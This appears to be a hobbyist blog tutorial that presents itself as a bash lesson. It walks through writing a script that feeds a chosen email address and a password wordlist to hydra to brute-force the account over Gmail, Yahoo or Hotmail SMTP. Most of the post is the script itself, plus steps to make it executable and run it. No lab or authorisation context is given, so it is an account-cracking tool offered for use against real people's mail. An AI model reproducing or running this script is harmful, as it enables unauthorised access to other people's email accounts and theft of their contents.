welcome to hacking a rise I’m the Laughingman here to teach ya how to make a simple script for brute forcing emails using hydra it mite work it mite not work but the main thing is you are learning bash so lets go on ….
What is bash
Bash is a Unix shell and command language written by Brian Fox for the GNU Project as a free software replacement for the Bourne shell. First released in 1989, it has been distributed widely as the default login shell for most Linux distributions and Apple’s macOS
FIND OUT MORE HERE
the bash santax we will be using
writing the script
So open your fav text editor and strat with the frist part the script
- #!/bin/bash
then we add figlet for a banner
- figlet email-knocker
then are echo commands
- echo “hacking a rise ”
echo “mead by laughingman ”
echo “make sure you have your wordlist handy”
echo “Lets go”
echo Choose a SMTP service: Gmail = smtp.gmail.com / Yahoo = smtp.mail.yahoo.com / Hotmail = smtp.live.com /:
now are we add read
- read smtp
and the rest
- echo Enter Email Address:
read email
echo Provide Directory of Wordlist for Passwords:
read wordlist
then we add hydra commands with $ to tell the system to use the email and wordlist we typed in
- hydra -S -l $email -P $wordlist -e ns -V -s 465 $smtp smtp
now we save it as a .sh file
right to run the file go to were its saves mines in desktop so i go to my desktop and right click open in terminal and type chmod +x emailknocker.sh then ./emailknocker.sh to run it
and it should look something like this
No comments:
Post a Comment
Note: Only a member of this blog may post a comment.